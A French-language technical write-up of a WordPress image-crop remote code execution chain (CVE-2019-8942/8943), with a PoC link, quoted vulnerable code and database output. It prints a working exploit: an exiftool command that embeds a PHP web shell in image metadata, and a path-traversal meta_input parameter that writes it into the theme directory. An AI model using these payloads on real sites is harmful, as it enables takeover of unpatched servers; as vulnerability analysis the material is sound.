
cve-2019-8942, cve-2019-8943
POC et Dockekfile : https://github.com/synod2/WP_CROP_RCE
Ce document traite des vulnérabilités découvertes dans les versions antérieures à Wordpress 4.9.9 et 5.0.1, connues sous le nom de WordPress Image CROP RCE, à savoir CVE-2019-8942 et CVE-2019-8943.
| Numéro CVE | Date de publication | Description |
|---|---|---|
| CVE-2019-8942 | 2019-2-19 | Vulnérabilité permettant l'exécution de code à distance via l'exécution d'un PHP contenant un code malveillant via la valeur de la table wp_postmeta |
| CVE-2019-8943 | 2019-2-19 | Vulnérabilité permettant d'enregistrer un fichier dans un chemin arbitraire à l'aide du paramètre meta_input lorsqu'une action de modification des informations de taille d'une image téléchargée se produit |
CVE-2019-8942 consiste à télécharger une image contenant du code php dans ses métadonnées exif, puis à modifier la valeur wp_attached_file dans la table wp_post_meta de l'article pour inclure le fichier image et exécuter du code arbitraire.
CVE-2019-8943 permet de modifier la valeur wp_attached_file de la table wp_postmeta en une chaîne arbitraire dans la fonction wp_crop_image() qui met à jour les informations de taille de l'image lors de l'utilisation de l'outil d'édition d'image, et d'écrire un fichier dans un répertoire arbitraire.
En utilisant ces deux vulnérabilités ensemble, il est possible de télécharger une image contenant du code php dans un chemin arbitraire, puis d'exécuter du code à distance.
Lors du téléchargement d'une image dans WordPress, celle-ci est d'abord déplacée dans le répertoire wp-content/uploads et les informations de référence internes (métadonnées telles que le propriétaire de l'image, l'heure de téléchargement, etc.) sont stockées dans la base de données sous forme de paires meta_key/meta_value.
mysql> select * from wp_postmeta where post_ID = 6;
| meta_id | post_id | meta_key | meta_value
| 5 | 6 | _wp_attached_file | 2021/05/test.png
| 6 | 6 | _wp_attachment_metadata | a:5:{s:5:"width"...
Dans la base de données, les métadonnées de l'image sont stockées comme ci-dessus, et lors de la récupération de l'image, le nom du fichier est trouvé dans le répertoire wp-content/uploads à l'aide des métadonnées _wp_attached_file.
#/wp-admin/includes/post.php
function edit_post( $post_data = null ) {
⋮
if ( empty($post_data) )
$post_data = &$_POST;
⋮
$success = wp_update_post( $post_data );
⋮
#/wp-includes/post.php
function wp_update_post( $postarr = array(), $wp_error = false ) {
⋮
return wp_insert_post( $postarr, $wp_error );
}
function wp_insert_post( $postarr, $wp_error = false ) {
⋮
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
⋮
Dans la fonction eidt_post(), les données POST sont stockées dans la variable $post_data sans filtrage séparé, et les valeurs POST passées par wp_update_post() → wp_insrt_post() mettent à jour les métadonnées stockées dans la base de données par la fonction update_post_meta. À ce stade, en mettant à jour la valeur _wp_attached_file, le chemin dans les métadonnées pour récupérer l'image peut être falsifié.
#wp-admin/includes/image.php
function wp_crop_image( $attachment_id, $src_x, ... ) {
⋮
$src_file = get_attached_file( $src );
⋮
$result = $editor->save( $dst_file );
#/wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
⋮
return apply_filters( 'get_attached_file', $file, $attachment_id );
La fonction wp_crop_image() appelée lors du redimensionnement de l'image obtient le chemin où le fichier sera enregistré via la fonction get_attached_file(), et la fonction get_attached_file() obtient le chemin du fichier à partir du _wp_attached_file stocké dans la base de données via la fonction get_post_meta() et enregistre l'image modifiée.
En raison de ces deux problèmes, une action se produit par laquelle le chemin du fichier falsifié par POST est récupéré et l'image modifiée est enregistrée à cet emplacement.
Les thèmes des pages WordPress sont stockés dans le répertoire wp-content/themes. En définissant les métadonnées post _wp_page_template par article, il est possible d'inclure un fichier situé dans ce répertoire de thème sous forme de template en exécutant la fonction include().
À ce moment, comme le fichier est inclus dans l'article comme dans la fonction include() de PHP, si une image contenant du code PHP est incluse, elle se comportera comme une page PHP et permettra l'exécution de code PHP.
$ exiftool test.png -CopyrightNotice="<?=\`\$_GET[0]\`?>"
$ exiftool test.png
ExifTool Version Number : 10.80
File Name : test.png
Directory : .
File Size : 157 kB
File Modification Date/Time : 2021:05:05 09:43:34+00:00
File Access Date/Time : 2021:05:05 09:43:53+00:00
File Inode Change Date/Time : 2021:05:05 09:43:34+00:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 480
Image Height : 270
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Copyright Notice : <?=`$_GET[0]`?>
Application Record Version : 4
Image Size : 480x270
Megapixels : 0.130
Insertion d'un shell PHP dans la partie CopyrightNotice des métadonnées de l'image.



Cliquez sur l'image téléchargée - Édition plus détaillée - Lors du clic sur Mettre à jour, ajoutez le paramètre &meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell à la requête envoyée à post.php.
| meta_id | post_id | meta_key | meta_value
+---------+---------+-------------------------+---------------------------------
| 338 | 135 | _wp_attached_file | 2021/05/test.jpg?/../../../../themes/twentyseventeen/cropped-shell
Il est confirmé que _wp_attached_file a été falsifié dans la base de données.
